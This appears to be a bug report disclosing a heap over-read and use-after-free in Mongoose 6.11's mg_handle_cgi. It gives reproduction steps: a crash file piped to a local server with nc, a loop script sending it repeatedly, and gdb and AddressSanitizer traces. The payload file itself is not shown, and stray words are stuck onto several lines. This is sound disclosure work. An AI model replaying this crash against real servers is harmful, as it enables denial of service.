Hello , I found a vulneratility in mg_handle_cgi function
The function is in mongoose.c
, line 8925
linux
8923 if (mg_start_process(opts->cgi_interpreter, prog, blk.buf, blk.vars, dir, 8924 fds[1]) != 0) { 8925 size_t n = nc->recv_mbuf.len - (hm->message.len - hm->body.len); 8926 struct mg_connection *cgi_nc = 8927 mg_add_sock(nc->mgr, fds[0], mg_cgi_ev_handler MG_UD_ARG(nc)); 8928 struct mg_http_proto_data *cgi_pd = mg_http_get_proto_data(nc); 8929 cgi_pd->cgi.cgi_nc = cgi_nc; 8930 #if !MG_ENABLE_CALLBACK_USERDATA 8931 cgi_pd->cgi.cgi_nc->user_data = nc; 8932 #endif 8933 nc->flags |= MG_F_HTTP_CGI_PARSE_HEADERS; 8934 /* Push POST data to the CGI */ 8935 if (n > 0 && n < nc->recv_mbuf.len) { 8936 mg_send(cgi_pd->cgi.cgi_nc, hm->body.p, n); 8937 }
note line 8925
, n is assigned by nc->recv_mbuf.len - (hm->message.len - hm->body.len) ,
when I debug it , I found that nc->recv_mbuf.len=1024 and hm->message.len - hm->body.len is a small number.
this may lead n > hm->body.len
, This would lead program to read the memory out of the hm->body's memory.
And when I trigger this vulneratility many times (200+) , I got a null pointer dereference (uaf
)git
The Steps to produce the vulneratility
Step 1
Download the latest source of mongoose , and compile the code in directory examples/simplest_web_server
Then run itgithub
wget https://github.com/cesanta/mongoose/archive/6.11.zip unzip 6.11.zip cd mongoose-6.11/examples/simplest_web_server make ./simplest_web_server
This would start a http server on port 8000web
01:09 haclh@ubuntu:simplest_web_server $ ./simplest_web_server Starting web server on port 8000
Step 2
Use nc to send payload to the 8000 port shell
nc 127.0.0.1 8000 < ~/vmdk_kernel/fuzz_workplace/crash.fuzz
PS: the crash.fuzz file will attach with the email
Then we can get Segmentation fault (core dumped)ubuntu
If you want to produce the vulneratility in gdb, you should send many times (:may be 200+. payload to tigger crash
Step 1
Download and compile the source , and use gdb to start it.bash
01:27 haclh@ubuntu:simplest_web_server $ gdb ./simplest_web_server -q Reading symbols from ./simplest_web_server...done. (gdb) set follow-fork-mode parent (gdb) r Starting program: /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Starting web server on port 8000
ps: you should set follow-fork-mode parentcookie
Step 2
Send the payload many times to the portapp
01:33 haclh@ubuntu:simplest_web_server $ cat cyc.sh # !/bin/bash for i in {1..1000} do nc 127.0.0.1 8000 < ~/vmdk_kernel/fuzz_workplace/crash.fuzz echo $i done echo $i 01:33 haclh@ubuntu:simplest_web_server $ ./cyc.sh
I write a shell script to do this.socket
Then We can see gdb got the crash
01:27 haclh@ubuntu:simplest_web_server $ gdb ./simplest_web_server -q Reading symbols from ./simplest_web_server...done. (gdb) set follow-fork-mode parent (gdb) r Starting program: /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Starting web server on port 8000 Program received signal SIGSEGV, Segmentation fault. 0x00000000004087cf in mg_send (nc=0x6235a0, buf=0x623d10, len=68) at ../../mongoose.c:2635 2635 nc->iface->vtable->tcp_send(nc, buf, len); (gdb) p nc->iface $1 = (struct mg_iface *) 0x0 (gdb) p nc $2 = (struct mg_connection *) 0x6235a0 (gdb) x/4xg 0x6235a0 0x6235a0: 0x00007ffff7bb4cc8 0x00007ffff7bb4cc8 0x6235b0: 0x0000000000000000 0x0000000000000000 (gdb) x/4xg 0x6235a0-0x10 0x623590: 0x0000000000000000 0x0000000000000161 0x6235a0: 0x00007ffff7bb4cc8 0x00007ffff7bb4cc8 (gdb) x/4xg 0x6235a0-0x10+0x160 0x6236f0: 0x0000000000000160 0x00000000000000e0 0x623700: 0x0000000000623b10 0x0000000000000000 (gdb)
we can see that nc->iface is 0x0, and the code want nc->iface->vtable->tcp_send
, this lead null pointer dereference
If you know the gibc malloc , you can find that nc
is freed
And you can comile with clang and AddressSanitizer to get more detail information
clang -fsanitize=address simplest_web_server.c ../../mongoose.c -o simplest_web_server -g -W -Wall -Werror -I../.. -Wno-unused-function -DMG_DISABLE_DAV_AUTH -DMG_ENABLE_FAKE_DAVLOCK -pthread
then run it and send the payload to the server, you could get the log below it.
01:19 haclh@ubuntu:simplest_web_server $ ./simplest_web_server # Starting web server on port 8000 ==16867==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000000980 at pc 0x0000004e653d bp 0x7fffb8bab790 sp 0x7fffb8baaf40 READ of size 876 at 0x619000000980 thread T0 # 0 0x4e653c in __asan_memcpy /home/haclh/vmdk_kernel/libfuzzer-workshop-master/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23 # 1 0x53b9d6 in mbuf_insert /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:1477:24 # 2 0x53bafc in mbuf_append /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:1490:10 # 3 0x550dc3 in mg_socket_if_tcp_send /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3356:3 # 4 0x546ffa in mg_send /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2635:5 # 5 0x582179 in mg_handle_cgi /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:8936:7 # 6 0x56e5a5 in mg_send_http_file /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:7967:5 # 7 0x56adb7 in mg_serve_http /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:8072:3 # 8 0x5219c7 in ev_handler /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server.c:11:5 # 9 0x544af8 in mg_call /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2241:5 # 10 0x55d475 in mg_http_call_endpoint_handler /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:8426:3 # 11 0x55cdb3 in mg_http_handler /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:6245:7 # 12 0x544af8 in mg_call /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2241:5 # 13 0x5494e7 in mg_recv_common /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2689:3 # 14 0x548c38 in mg_if_recv_tcp_cb /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2693:3 # 15 0x5526ca in mg_handle_tcp_read /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3554:7 # 16 0x55196f in mg_mgr_handle_conn /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3679:9 # 17 0x55564b in mg_socket_if_poll /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3877:5 # 18 0x546906 in mg_mgr_poll /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2407:11 # 19 0x52191b in main /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server.c:33:5 # 20 0x7f4cbf9a582f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 # 21 0x41ad68 in _start (/tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server+0x41ad68) 0x619000000980 is located 0 bytes to the right of 1024-byte region [0x619000000580,0x619000000980) allocated by thread T0 here: # 0 0x4e76f8 in __interceptor_malloc /home/haclh/vmdk_kernel/libfuzzer-workshop-master/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88 # 1 0x552521 in mg_handle_tcp_read /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3518:24 # 2 0x55196f in mg_mgr_handle_conn /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3679:9 # 3 0x55564b in mg_socket_if_poll /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3877:5 # 4 0x546906 in mg_mgr_poll /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2407:11 # 5 0x52191b in main /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server.c:33:5 # 6 0x7f4cbf9a582f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/haclh/vmdk_kernel/libfuzzer-workshop-master/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23 in __asan_memcpy Shadow bytes around the buggy address: 0x0c327fff80e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff8110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff8120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c327fff8130:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==16867==ABORTING